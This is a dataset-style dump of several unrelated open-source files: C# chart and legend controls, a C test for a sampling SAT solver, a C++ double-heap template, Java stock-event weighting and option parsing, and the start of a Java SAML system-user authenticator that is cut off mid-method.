code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
---|---|---|---|---|---|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace SharpGraphLib
{
public partial class LegendControl : UserControl
{
List<LegendLabel> _Labels = new List<LegendLabel>();
bool _AllowHighlightingGraphs = true, _AllowDisablingGraphs = true;
[Category("Behavior")]
[DefaultValue(true)]
public bool AllowDisablingGraphs
{
get { return _AllowDisablingGraphs; }
set { _AllowDisablingGraphs = value;}
}
[Category("Behavior")]
[DefaultValue(true)]
public bool AllowHighlightingGraphs
{
get { return _AllowHighlightingGraphs; }
set { _AllowHighlightingGraphs = value; }
}
bool _Autosize;
internal bool Autosize
{
get { return _Autosize; }
set
{
_Autosize = value;
if (value)
{
Width = _AutoWidth;
Height = _AutoHeight;
}
}
}
public LegendControl()
{
InitializeComponent();
}
[Category("Appearance")]
public string NoGraphsLabel
{
get
{
return label1.Text;
}
set
{
label1.Text = value;
}
}
internal GraphViewer _GraphViewer;
int _AutoWidth, _AutoHeight;
/// <summary>
/// Collection items should implement ILegendItem
/// </summary>
protected virtual System.Collections.IEnumerable Items
{
get
{
if (_GraphViewer == null)
return null;
return _GraphViewer.DisplayedGraphs;
}
}
public void UpdateLegend()
{
foreach (LegendLabel lbl in _Labels)
lbl.Dispose();
_Labels.Clear();
int i = 0;
if (Items != null)
{
_AutoWidth = 0;
foreach (ILegendItem gr in Items)
{
if (gr.HiddenFromLegend)
continue;
LegendLabel lbl = new LegendLabel { ForeColor = ForeColor };
lbl.Parent = this;
lbl.SquareColor = gr.Color;
lbl.Text = gr.Hint;
lbl.Grayed = gr.Hidden;
lbl.Left = 0;
lbl.Top = i * lbl.Height + label1.Top;
lbl.Width = Width;
lbl.Anchor = AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Top;
lbl.Tag = gr;
lbl.Cursor = Cursors.Arrow;
lbl.MouseClick += new MouseEventHandler(LegendPanel_MouseClick);
lbl.MouseEnter += new EventHandler(LegendPanel_MouseEnter);
lbl.MouseLeave += new EventHandler(LegendPanel_MouseLeave);
lbl.MouseMove += new MouseEventHandler(lbl_MouseMove);
lbl.MouseDown += new MouseEventHandler(lbl_MouseDown);
_AutoWidth = Math.Max(_AutoWidth, lbl.Left + lbl.MeasureWidth() + 10);
_AutoHeight = lbl.Bottom + 10;
lbl.Visible = true;
_Labels.Add(lbl);
i++;
}
label1.Visible = false;
}
if (i == 0)
{
label1.Visible = true;
_AutoWidth = label1.Right + 10;
_AutoHeight = label1.Bottom + 10;
}
if (_Autosize)
{
Width = _AutoWidth;
Height = _AutoHeight;
}
}
protected virtual void lbl_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
Point newPoint = PointToClient((sender as Control).PointToScreen(e.Location));
OnMouseDown(new MouseEventArgs(e.Button, e.Clicks, newPoint.X, newPoint.Y, e.Delta));
}
}
protected virtual void lbl_MouseMove(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
Point newPoint = PointToClient((sender as Control).PointToScreen(e.Location));
OnMouseMove(new MouseEventArgs(e.Button, e.Clicks, newPoint.X, newPoint.Y, e.Delta));
}
}
public delegate void HandleLabelHilighted(ILegendItem item);
public event HandleLabelHilighted OnLabelHilighted;
LegendLabel _ActiveLabel;
public ILegendItem ActiveItem
{
get
{
if (_ActiveLabel == null)
return null;
return _ActiveLabel.Tag as ILegendItem;
}
}
protected override void OnMouseLeave(EventArgs e)
{
base.OnMouseLeave(e);
_ActiveLabel = null;
}
void LegendPanel_MouseLeave(object sender, EventArgs e)
{
if (!_AllowHighlightingGraphs)
return;
LegendLabel lbl = sender as LegendLabel;
lbl.BackColor = BackColor;
if (OnLabelHilighted != null)
OnLabelHilighted(null);
}
void LegendPanel_MouseEnter(object sender, EventArgs e)
{
_ActiveLabel = sender as LegendLabel;
if (!_AllowHighlightingGraphs)
return;
LegendLabel lbl = sender as LegendLabel;
lbl.BackColor = _HighlightedColor;
if (OnLabelHilighted != null)
OnLabelHilighted((ILegendItem)lbl.Tag);
}
public delegate void HandleLabelGrayed(ILegendItem graph, bool grayed);
public event HandleLabelGrayed OnLabelGrayed;
virtual protected void LegendPanel_MouseClick(object sender, MouseEventArgs e)
{
if (e.Button != MouseButtons.Left)
return;
if (!_AllowDisablingGraphs)
return;
LegendLabel label = sender as LegendLabel;
label.Grayed = !label.Grayed;
if (OnLabelGrayed != null)
OnLabelGrayed((ILegendItem)label.Tag, label.Grayed);
}
private Color _HighlightedColor = Color.LemonChiffon;
public System.Drawing.Color HighlightedColor
{
get { return _HighlightedColor; }
set
{
_HighlightedColor = value;
Invalidate();
}
}
}
}
| sysprogs/SharpGraphLib | SharpGraphLib/LegendControl.cs | C# | lgpl-3.0 | 7,121 |
#include "samplesat.h"
#include "memalloc.h"
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <string.h>
uint32_t num_sorts = 100;
uint32_t num_consts = 1000;
uint32_t buf_len = 11;
#define ENABLE 0
typedef struct inclause_buffer_t {
int32_t size;
input_literal_t ** data;
} inclause_buffer_t;
static inclause_buffer_t inclause_buffer = {0, NULL};
int main(){
samp_table_t table;
init_samp_table(&table);
sort_table_t *sort_table = &(table.sort_table);
const_table_t *const_table = &(table.const_table);
pred_table_t *pred_table = &(table.pred_table);
atom_table_t *atom_table = &(table.atom_table);
clause_table_t *clause_table = &(table.clause_table);
uint32_t i, j;
char sort_num[6];
char const_num[6];
char pred_num[6];
char *buffer;
for (i = 0; i < num_sorts; i++){
sprintf(sort_num, "%d", i);
buffer = (char *) safe_malloc(sizeof(char)*buf_len);
memcpy(buffer, "sort", buf_len);
strcat(buffer, sort_num);
add_sort(sort_table, buffer);
}
if (ENABLE){
printf("\nsort_table: size: %"PRId32", num_sorts: %"PRId32"",
sort_table->size,
sort_table->num_sorts);
for (i = 0; i < num_sorts; i++){
buffer = sort_table->entries[i].name;
printf("\nsort[%"PRIu32"]: %s; symbol_table: %"PRId32"",
i, buffer, stbl_find(&(sort_table->sort_name_index), buffer));
add_sort(sort_table, buffer);//should do nothing
printf("\nRe:sort[%"PRIu32"]: %s; symbol_table: %"PRId32"",
i, buffer, stbl_find(&(sort_table->sort_name_index), buffer));
}
}
/* Now testing constants
*/
for (i = 0; i < num_sorts; i++){
for (j = 0; j < (num_consts/num_sorts); j++){
sprintf(const_num, "%d", i*(num_consts/num_sorts) + j);
memcpy(buffer, "const", 6);
strcat(buffer, const_num);
add_const(const_table, buffer, sort_table, sort_table->entries[i].name);
}
}
if (ENABLE){
for (i=0; i < num_sorts; i++){
printf("\nsort = %s", sort_table->entries[i].name);
for (j = 0; j < sort_table->entries[i].cardinality; j++){
printf("\nconst = %s", const_table->entries[sort_table->entries[i].constants[j]].name);
}
}
}
/* Now testing signatures
*/
bool evidence = 0;
char **sort_name_buffer = (char **) safe_malloc(num_sorts * sizeof(char *));
printf("\nAdding normal preds");
for (i = 0; i < num_sorts; i++){
sort_name_buffer[i] = sort_table->entries[i].name;
memcpy(buffer, "pred", 5);
sprintf(pred_num, "%d", i);
strcat(buffer, pred_num);
add_pred(pred_table, buffer, evidence, i, sort_table,
sort_name_buffer);
}
evidence = !evidence;
printf("\nAdding evidence preds");
for (j = 0; j < num_sorts; j++){
sort_name_buffer[j] = sort_table->entries[j].name;
memcpy(buffer, "pred", 5);
sprintf(pred_num, "%d", j+i);
strcat(buffer, pred_num);
add_pred(pred_table, buffer, evidence, j, sort_table, sort_name_buffer);
}
if (ENABLE){
for (i = 0; i < pred_table->evpred_tbl.num_preds; i++){
printf("\n evpred[%d] = ", i);
buffer = pred_table->evpred_tbl.entries[i].name;
printf("index(%d); ", pred_index(buffer, pred_table));
printf("%s(", buffer);
for (j = 0; j < pred_table->evpred_tbl.entries[i].arity; j++){
printf(" %s, ", sort_table->entries[pred_table->evpred_tbl.entries[i].signature[j]].name);
}
printf(")");
}
for (i = 0; i < pred_table->pred_tbl.num_preds; i++){
printf("\n pred[%d] = ", i);
buffer = pred_table->pred_tbl.entries[i].name;
printf("index(%d); ", pred_index(buffer, pred_table));
printf("%s(", buffer);
for (j = 0; j < pred_table->pred_tbl.entries[i].arity; j++){
printf(" %s, ", sort_table->entries[pred_table->pred_tbl.entries[i].signature[j]].name);
}
printf(")");
}
}
/* Now adding evidence atoms
*/
input_atom_t * atom_buffer = (input_atom_t *) safe_malloc(101 * sizeof(char *));
int32_t index;
for (i = 0; i < pred_table->evpred_tbl.num_preds; i++){
atom_buffer->pred = pred_table->evpred_tbl.entries[i].name;
printf("\nBuilding atom[%d]: %s(", i, atom_buffer->pred);
for(j = 0; j < pred_table->evpred_tbl.entries[i].arity; j++){
index = sort_table->entries[pred_table->evpred_tbl.entries[i].signature[j]].constants[0];
buffer = const_table->entries[index].name;
printf("[%d]%s,", index, buffer);
atom_buffer->args[j] = buffer;
}
printf(")");
add_atom(&table, atom_buffer);
}
if (ENABLE){
for (i = 0; i < atom_table->num_vars; i++){
printf("\natom[%d] = %d(", i, atom_table->atom[i]->pred);
for (j = 0; j < pred_table->evpred_tbl.entries[-atom_table->atom[i]->pred].arity; j++){
printf("%d,", atom_table->atom[i]->args[j]);
}
printf(")");
printf("\nassignment[%d] = %d", i, atom_table->assignment[i]);
}
for (i = 0; i < pred_table->evpred_tbl.num_preds; i++){
printf("\n");
for (j = 0; j < pred_table->evpred_tbl.entries[i].num_atoms; j++){
printf("%d", pred_table->evpred_tbl.entries[i].atoms[j]);
}
}
}
/* Now adding atoms
*/
int32_t numvars = atom_table->num_vars;
for (i = 0; i < pred_table->pred_tbl.num_preds; i++){
atom_buffer->pred = pred_table->pred_tbl.entries[i].name;
printf("\nBuilding atom[%d]: %s(", i, atom_buffer->pred);
for(j = 0; j < pred_table->pred_tbl.entries[i].arity; j++){
index = sort_table->entries[pred_table->pred_tbl.entries[i].signature[j]].constants[0];
buffer = const_table->entries[index].name;
printf("[%d]%s,", index, buffer);
atom_buffer->args[j] = buffer;
}
printf(")");
add_atom(&table, atom_buffer);
}
if (ENABLE){
for (i = numvars; i < atom_table->num_vars; i++){
printf("\natom[%d] = %d(", i, atom_table->atom[i]->pred);
for (j = 0; j < pred_table->pred_tbl.entries[atom_table->atom[i]->pred].arity; j++){
printf("%d,", atom_table->atom[i]->args[j]);
}
printf(")");
printf("\nassignment[%d] = %d", i, atom_table->assignment[i]);
}
for (i = 0; i < pred_table->pred_tbl.num_preds; i++){
printf("\n");
for (j = 0; j < pred_table->pred_tbl.entries[i].num_atoms; j++){
printf("%d", pred_table->pred_tbl.entries[i].atoms[j]);
}
}
}
/*
* Adding clauses
*/
double weight = 0;
j = pred_table->pred_tbl.num_preds + 1;
inclause_buffer.data = (input_literal_t **) safe_malloc(j * sizeof(input_literal_t *));
inclause_buffer.size = j;
for (i = 0; i < j; i++){
inclause_buffer.data[i] = NULL;
}
bool negate = false;
for (i = 0; i < pred_table->pred_tbl.num_preds-1; i++){
inclause_buffer.data[i] = (input_literal_t *)
safe_malloc(sizeof(input_literal_t) + i*sizeof(char *));
/// inclause_buffer.data[i]->neg = !inclause_buffer.data[i]->neg; // ???
inclause_buffer.data[i]->neg = negate;
negate = !negate;
inclause_buffer.data[i]->atom.pred = pred_table->pred_tbl.entries[i+1].name;
for (j = 0; j < i; j++){
index = sort_table->entries[pred_table->pred_tbl.entries[i+1].signature[j]].constants[0];
inclause_buffer.data[i]->atom.args[j] = const_table->entries[index].name;
}
weight += .25;
add_clause(&table, inclause_buffer.data, weight);
}
print_clauses(clause_table);
print_atoms(atom_table, pred_table, const_table);
return 1;
}
| SRI-CSL/pce | src/test_samplesat.c | C | lgpl-3.0 | 7,311 |
//============================================================================
// I B E X
// File : ibex_DoubleHeap.h
// Author : Gilles Chabert, Jordan Ninin
// Copyright : IMT Atlantique (France)
// License : See the LICENSE file
// Created : Sep 12, 2014
// Last Update : Dec 25, 2017
//============================================================================
#ifndef __IBEX_DOUBLE_HEAP_H__
#define __IBEX_DOUBLE_HEAP_H__
#include "ibex_SharedHeap.h"
#include "ibex_Random.h"
namespace ibex {
/**
* \brief Double-heap
*/
template<class T>
class DoubleHeap {
public:
/**
* \brief Create a double heap
*
* \param cost1 - cost function for the first heap
* \param update_cost1_when_sorting - whether this cost is recalculated when sorting
* \param cost2 - cost function for the second heap
* \param update_cost2_when_sorting - whether this cost is recalculated when sorting
* \param critpr - probability to chose the second heap as an integer in [0,100] (default value 50).
* Value 0 or correspond to use a single criterion for node selection
* > 0 = only the first heap
* > 100 = only the second heap.
*/
DoubleHeap(CostFunc<T>& cost1, bool update_cost1_when_sorting, CostFunc<T>& cost2, bool update_cost2_when_sorting, int critpr=50);
/**
* \brief Copy constructor.
*/
explicit DoubleHeap(const DoubleHeap& dhcp, bool deep_copy=false);
/**
* \brief Flush the heap.
*
* All the remaining data will be *deleted*.
*/
void flush();
/**
* \brief Clear the heap.
*
* All the remaining data will be *removed* without being *deleted*.
*/
void clear();
/** \brief Return the size of the buffer. */
unsigned int size() const;
/** \brief Return true if the buffer is empty. */
bool empty() const;
/** \brief Push new data on the heap. */
void push(T* data);
/** \brief Pop data from the stack and return it.*/
T* pop();
/** \brief Pop data from the first heap and return it.*/
T* pop1();
/** \brief Pop data from the second heap and return it.*/
T* pop2();
/** \brief Return next data (but does not pop it).*/
T* top() const;
/** \brief Return next data of the first heap (but does not pop it).*/
T* top1() const;
/** \brief Return next data of the second heap (but does not pop it).*/
T* top2() const;
/**
* \brief Return the minimum (the criterion for the first heap)
*
* Complexity: o(1)
*/
double minimum() const;
/**
* \brief Return the first minimum (the criterion for the first heap)
*
* Complexity: o(1)
*/
double minimum1() const;
/**
* \brief Return the second minimum (the criterion for the second heap)
*
* Complexity: o(1)
*/
double minimum2() const;
/**
* \brief Contract the heap
*
* Removes (and deletes) from the two heaps all the data
* with a cost (according to the cost function of the first heap)
* that is greater than \a loup1.
*
* The costs of the first heap are assumed to be up-to-date.
*
* TODO: in principle we should implement the symmetric
* case where the contraction is performed with respect
* to the cost of the second heap.
*/
void contract(double loup1);
/**
* \brief Delete this
*/
virtual ~DoubleHeap();
template<class U>
friend std::ostream& operator<<(std::ostream& os, const DoubleHeap<U>& heap);
protected:
/** Count the number of nodes pushed since
* the object is created. */
unsigned int nb_nodes;
/** the first heap */
SharedHeap<T> *heap1;
/** the second heap */
SharedHeap<T> *heap2;
/** Probability to choose the second
* (see details in the constructor) */
const int critpr;
/** Current selected heap. */
mutable int current_heap_id;
/**
* Used in the contract function by recursivity
*
* \param heap: the new heap1 under construction (will
* eventually replace the current heap1).
*/
void contract_rec(double new_loup, HeapNode<T>* node, SharedHeap<T>& heap, bool percolate);
private:
/**
* Erase all the subnodes of node (including itself) in the first heap
* and manage the impact on the second heap.
* If "percolate" is true, the second heap is left in a correct state.
* Otherwise, the second heap has a binary tree structure but not sorted
* anymore. Therefore, "sort" should be called on the second heap.
*
* So the heap structure is maintained for the second heap
* but not the first one. The reason is that this function is called
* either by "contract" or "flush". "contract" will build a new heap from scratch.
*/
void erase_subnodes(HeapNode<T>* node, bool percolate);
std::ostream& print(std::ostream& os) const;
};
/*================================== inline implementations ========================================*/
template<class T>
DoubleHeap<T>::DoubleHeap(CostFunc<T>& cost1, bool update_cost1_when_sorting, CostFunc<T>& cost2, bool update_cost2_when_sorting, int critpr) :
nb_nodes(0), heap1(new SharedHeap<T>(cost1,update_cost1_when_sorting,0)),
heap2(new SharedHeap<T>(cost2,update_cost2_when_sorting,1)),
critpr(critpr), current_heap_id(0) {
}
template<class T>
DoubleHeap<T>::DoubleHeap(const DoubleHeap &dhcp, bool deep_copy) :
nb_nodes(dhcp.nb_nodes), heap1(NULL), heap2(NULL), critpr(dhcp.critpr), current_heap_id(dhcp.current_heap_id) {
heap1 = new SharedHeap<T>(*dhcp.heap1, 2, deep_copy);
std::vector<HeapElt<T>*> p = heap1->elt();
heap2 = new SharedHeap<T>(dhcp.heap2->costf, dhcp.heap2->update_cost_when_sorting, dhcp.heap2->heap_id);
while(!p.empty()) {
heap2->push_elt(p.back());
p.pop_back();
}
}
template<class T>
DoubleHeap<T>::~DoubleHeap() {
clear(); // what for?
if (heap1) delete heap1;
if (heap2) delete heap2;
}
template<class T>
void DoubleHeap<T>::flush() {
if (nb_nodes>0) {
heap1->clear(SharedHeap<T>::NODE);
heap2->clear(SharedHeap<T>::NODE_ELT_DATA);
nb_nodes=0;
}
}
template<class T>
void DoubleHeap<T>::clear() {
if (nb_nodes>0) {
heap1->clear(SharedHeap<T>::NODE);
heap2->clear(SharedHeap<T>::NODE_ELT);
nb_nodes=0;
}
}
template<class T>
unsigned int DoubleHeap<T>::size() const {
assert(heap1->size()==heap2->size());
return nb_nodes;
}
template<class T>
void DoubleHeap<T>::contract(double new_loup1) {
if (nb_nodes==0) return;
SharedHeap<T>* copy1 = new SharedHeap<T>(heap1->costf, heap1->update_cost_when_sorting, 0);
contract_rec(new_loup1, heap1->root, *copy1, !heap2->update_cost_when_sorting);
heap1->root = copy1->root;
heap1->nb_nodes = copy1->size();
nb_nodes = copy1->size();
copy1->root = NULL;
copy1->nb_nodes=0;// avoid to delete heap1 with copy1
delete copy1;
if (heap2->update_cost_when_sorting) heap2->sort();
assert(nb_nodes==heap2->size());
assert(nb_nodes==heap1->size());
assert(heap1->heap_state());
assert(!heap2 || heap2->heap_state());
}
template<class T>
void DoubleHeap<T>::contract_rec(double new_loup1, HeapNode<T>* node, SharedHeap<T>& heap, bool percolate) {
// the cost are assumed to be up-to-date for the 1st heap
if (node->is_sup(new_loup1, 0)) {
// we must remove from the other heap all the sub-nodes
if (heap2) erase_subnodes(node, percolate);
} else {
heap.push_elt(node->elt);
if (node->left) contract_rec(new_loup1, node->left, heap, percolate);
if (node->right) contract_rec(new_loup1, node->right, heap, percolate);
delete node;
}
}
template<class T>
void DoubleHeap<T>::erase_subnodes(HeapNode<T>* node, bool percolate) {
if (node->left) erase_subnodes(node->left, percolate);
if (node->right) erase_subnodes(node->right, percolate);
if (!percolate)
// there is no need to update the order now in the second heap
// since all costs will have to be recalculated.
// The heap2 will be sorted at the end (see contract)
heap2->erase_node_no_percolate(node->elt->holder[1]);
else
heap2->erase_node(node->elt->holder[1]);
if (node->elt->data) delete node->elt->data;
delete node->elt;
delete node;
}
template<class T>
bool DoubleHeap<T>::empty() const {
// if one buffer is empty, the other is also empty
return (nb_nodes==0);
}
template<class T>
void DoubleHeap<T>::push(T* data) {
HeapElt<T>* elt;
if (heap2) {
elt = new HeapElt<T>(data, heap1->cost(*data), heap2->cost(*data));
} else {
elt = new HeapElt<T>(data, heap1->cost(*data));
}
// the data is put into the first heap
heap1->push_elt(elt);
if (heap2) heap2->push_elt(elt);
nb_nodes++;
}
template<class T>
T* DoubleHeap<T>::pop() {
assert(size()>0);
//std::cout << " \n\n Heap1=" << (*heap1);
// Select the heap
HeapElt<T>* elt;
if (current_heap_id==0) {
elt = heap1->pop_elt();
if (heap2) heap2->erase_node(elt->holder[1]);
} else {
elt = heap2->pop_elt();
heap1->erase_node(elt->holder[0]);
}
T* data = elt->data;
elt->data=NULL; // avoid the data to be deleted with the element
delete elt;
nb_nodes--;
assert(heap1->heap_state());
assert(!heap2 || heap2->heap_state());
// select the heap
if (RNG::rand() % 100 >= static_cast<unsigned>(critpr)) {
current_heap_id=0;
}
else {
current_heap_id=1;
}
return data;
}
template<class T>
T* DoubleHeap<T>::pop1() {
// the first heap is used
current_heap_id=0;
return pop();
}
template<class T>
T* DoubleHeap<T>::pop2() {
// the second heap is used
current_heap_id=1;
return pop();
}
template<class T>
T* DoubleHeap<T>::top() const {
assert(size()>0);
if (current_heap_id==0) {
return heap1->top();
}
else {
// the second heap is used
return heap2->top();
}
}
template<class T>
T* DoubleHeap<T>::top1() const {
// the first heap is used
current_heap_id=0;
return heap1->top();
}
template<class T>
T* DoubleHeap<T>::top2() const {
// the second heap is used
current_heap_id=1;
return heap2->top();
}
template<class T>
inline double DoubleHeap<T>::minimum() const { return heap1->minimum(); }
template<class T>
inline double DoubleHeap<T>::minimum1() const { return heap1->minimum(); }
template<class T>
inline double DoubleHeap<T>::minimum2() const { return heap2->minimum(); }
template<class T>
std::ostream& DoubleHeap<T>::print(std::ostream& os) const{
if (this->empty()) {
os << " EMPTY ";
os<<std::endl;
} else {
os << "First Heap: "<<std::endl;
heap1->print(os);
os<<std::endl;
os << "Second Heap: "<<std::endl;
heap2->print(os);
os<<std::endl;
}
return os;
}
template<class T>
std::ostream& operator<<(std::ostream& os, const DoubleHeap<T>& heap) {
return heap.print(os);
}
} // namespace ibex
#endif // __IBEX_DOUBLE_HEAP_H__
| ibex-team/ibex-lib | src/tools/ibex_DoubleHeap.h | C | lgpl-3.0 | 10,710 |
/**
* Premium Markets is an automated stock market analysis system.
* It implements a graphical environment for monitoring stock markets technical analysis
* major indicators, for portfolio management and historical data charting.
* In its advanced packaging -not provided under this license- it also includes :
* Screening of financial web sites to pick up the best market shares,
* Price trend prediction based on stock markets technical analysis and indices rotation,
* Back testing, Automated buy sell email notifications on trend signals calculated over
* markets and user defined portfolios.
* With in mind beating the buy and hold strategy.
* Type 'Premium Markets FORECAST' in your favourite search engine for a free workable demo.
*
* Copyright (C) 2008-2014 Guillaume Thoreton
*
* This file is part of Premium Markets.
*
* Premium Markets is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
*
* You should have received a copy of the GNU Lesser General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.finance.pms.events.pounderationrules;
import java.util.HashMap;
import com.finance.pms.admin.install.logging.MyLogger;
import com.finance.pms.datasources.shares.Stock;
import com.finance.pms.events.SymbolEvents;
import com.finance.pms.events.Validity;
public class LatestNoYoYoValidatedPonderationRule extends LatestEventsPonderationRule {
private static final long serialVersionUID = 573802685420097964L;
private static MyLogger LOGGER = MyLogger.getLogger(LatestNoYoYoValidatedPonderationRule.class);
private HashMap<Stock, Validity> tuningValidityList;
public LatestNoYoYoValidatedPonderationRule(Integer sellThreshold, Integer buyThreshold, HashMap<Stock, Validity> tuningValidityList) {
super(sellThreshold, buyThreshold);
this.tuningValidityList = tuningValidityList;
}
@Override
public int compare(SymbolEvents o1, SymbolEvents o2) {
SymbolEvents se1 = o1;
SymbolEvents se2 = o2;
PonderationRule p1 = new LatestNoYoYoValidatedPonderationRule(sellThreshold, buyThreshold, tuningValidityList);
PonderationRule p2 = new LatestNoYoYoValidatedPonderationRule(sellThreshold, buyThreshold, tuningValidityList);
return compareCal(se1, se2, p1, p2);
}
@Override
public Float finalWeight(SymbolEvents symbolEvents) {
Validity validity = tuningValidityList.get(symbolEvents.getStock());
boolean isValid = false;
if (validity != null) {
isValid = validity.equals(Validity.SUCCESS);
} else {
LOGGER.warn("No validity information found for " + symbolEvents.getStock() + " while parsing events " + symbolEvents + ". Neural trend was not calculated for that stock.");
}
if (isValid) {
return super.finalWeight(symbolEvents);
} else {
return 0.0f;
}
}
@Override
public Signal initSignal(SymbolEvents symbolEvents) {
return new LatestNoYoYoValidatedSignal(symbolEvents.getEventDefList());
}
@Override
protected void postCondition(Signal signal) {
LatestNoYoYoValidatedSignal LVSignal = (LatestNoYoYoValidatedSignal) signal;
//Updating cumulative event signal with Bull Bear neural events.
switch (LVSignal.getNbTrendChange()) {
case 0 : //No event detected
break;
case 1 : //One Type of Event, no yoyo : weight = sum(cumulative events) + bullish - bearish
signal.setSignalWeight(signal.getSignalWeight() + LVSignal.getNbBullish() - LVSignal.getNbBearish());
break;
default : //Yoyo, Bull/Bear, we ignore the signal
LOGGER.warn("Yo yo trend detected.");
break;
}
}
}
| premiummarkets/pm | premiumMarkets/pm-core/src/main/java/com/finance/pms/events/pounderationrules/LatestNoYoYoValidatedPonderationRule.java | Java | lgpl-3.0 | 4,010 |
/**
*
* This file is part of Disco.
*
* Disco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Disco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Disco. If not, see <http://www.gnu.org/licenses/>.
*/
package eu.diversify.disco.cloudml;
import eu.diversify.disco.population.diversity.TrueDiversity;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class Options {
private static final String JSON_FILE_NAME = "[^\\.]*\\.json$";
private static final String DOUBLE_LITERAL = "((\\+|-)?([0-9]+)(\\.[0-9]+)?)|((\\+|-)?\\.?[0-9]+)";
public static final String ENABLE_GUI = "-gui";
public static Options fromCommandLineArguments(String... arguments) {
Options extracted = new Options();
for (String argument : arguments) {
if (isJsonFile(argument)) {
extracted.addDeploymentModel(argument);
}
else if (isDouble(argument)) {
extracted.setReference(Double.parseDouble(argument));
}
else if (isEnableGui(argument)) {
extracted.setGuiEnabled(true);
}
else {
throw new IllegalArgumentException("Unknown argument: " + argument);
}
}
return extracted;
}
private static boolean isJsonFile(String argument) {
return argument.matches(JSON_FILE_NAME);
}
private static boolean isDouble(String argument) {
return argument.matches(DOUBLE_LITERAL);
}
private static boolean isEnableGui(String argument) {
return argument.matches(ENABLE_GUI);
}
private boolean guiEnabled;
private final List<String> deploymentModels;
private double reference;
public Options() {
this.guiEnabled = false;
this.deploymentModels = new ArrayList<String>();
this.reference = 0.75;
}
public boolean isGuiEnabled() {
return guiEnabled;
}
public void setGuiEnabled(boolean guiEnabled) {
this.guiEnabled = guiEnabled;
}
public double getReference() {
return reference;
}
public void setReference(double setPoint) {
this.reference = setPoint;
}
public List<String> getDeploymentModels() {
return Collections.unmodifiableList(deploymentModels);
}
public void addDeploymentModel(String pathToModel) {
this.deploymentModels.add(pathToModel);
}
public void launchDiversityController() {
final CloudMLController controller = new CloudMLController(new TrueDiversity().normalise());
if (guiEnabled) {
startGui(controller);
}
else {
startCommandLine(controller);
}
}
private void startGui(final CloudMLController controller) {
java.awt.EventQueue.invokeLater(new Runnable() {
@Override
public void run() {
final Gui gui = new Gui(controller);
gui.setReference(reference);
gui.setFileToLoad(deploymentModels.get(0));
gui.setVisible(true);
}
});
}
private void startCommandLine(final CloudMLController controller) {
final CommandLine commandLine = new CommandLine(controller);
for (String deployment : getDeploymentModels()) {
commandLine.controlDiversity(deployment, reference);
}
}
}
| DIVERSIFY-project/disco | samples/cloudml/controller/src/main/java/eu/diversify/disco/cloudml/Options.java | Java | lgpl-3.0 | 3,917 |
using iTextSharp.text;
namespace PdfRpt.VectorCharts
{
/// <summary>
/// BarChartItem
/// </summary>
public class BarChartItem
{
/// <summary>
/// BarChartItem
/// </summary>
public BarChartItem()
{ }
/// <summary>
/// BarChartItem
/// </summary>
/// <param name="value">Value of the chart's item.</param>
/// <param name="label">Label of the item.</param>
/// <param name="color">Color of the item.</param>
public BarChartItem(double value, string label, BaseColor color)
{
Value = value;
Label = label;
Color = color;
}
/// <summary>
/// BarChartItem
/// </summary>
/// <param name="value">Value of the chart's item.</param>
/// <param name="label">Label of the item.</param>
/// <param name="color">Color of the item.</param>
public BarChartItem(double value, string label, System.Drawing.Color color)
{
Value = value;
Label = label;
Color = new BaseColor(color.ToArgb());
}
/// <summary>
/// Value of the chart's item.
/// </summary>
public double Value { set; get; }
/// <summary>
/// Label of the item.
/// </summary>
public string Label { set; get; }
/// <summary>
/// Color of the item.
/// </summary>
public BaseColor Color { set; get; }
}
} | VahidN/PdfReport | Lib/VectorCharts/BarChartItem.cs | C# | lgpl-3.0 | 1,535 |
/**
*
*/
package com.sirma.itt.emf.authentication.sso.saml.authenticator;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import javax.crypto.SecretKey;
import javax.enterprise.inject.Instance;
import javax.inject.Inject;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.joda.time.DateTime;
import org.joda.time.DateTimeZone;
import com.sirma.itt.emf.authentication.sso.saml.SAMLMessageProcessor;
import com.sirma.itt.seip.configuration.SystemConfiguration;
import com.sirma.itt.seip.idp.config.IDPConfiguration;
import com.sirma.itt.seip.plugin.Extension;
import com.sirma.itt.seip.security.User;
import com.sirma.itt.seip.security.authentication.AuthenticationContext;
import com.sirma.itt.seip.security.authentication.Authenticator;
import com.sirma.itt.seip.security.configuration.SecurityConfiguration;
import com.sirma.itt.seip.security.context.SecurityContext;
import com.sirma.itt.seip.security.util.SecurityUtil;
import com.sirma.itt.seip.util.EqualsHelper;
/**
* Th SystemUserAuthenticator is responsible to login system users only using a generated token.
*
* @author bbanchev
*/
@Extension(target = Authenticator.NAME, order = 20)
public class SystemUserAuthenticator extends BaseSamlAuthenticator {
@Inject
private Instance<SecurityConfiguration> securityConfiguration;
@Inject
private IDPConfiguration idpConfiguration;
@Inject
private SAMLMessageProcessor samlMessageProcessor;
@Inject
private SystemConfiguration systemConfiguration;
@Override
public User authenticate(AuthenticationContext authenticationContext) {
return null;
}
@Override
public Object authenticate(User toAuthenticate) {
return authenticateById(toAuthenticate, toAuthenticate.getIdentityId());
}
private Object authenticateById(User toAuthenticate, final String username) {
if (StringUtils.isBlank(username)) {
return null;
}
String userSimpleName = SecurityUtil.getUserWithoutTenant(username);
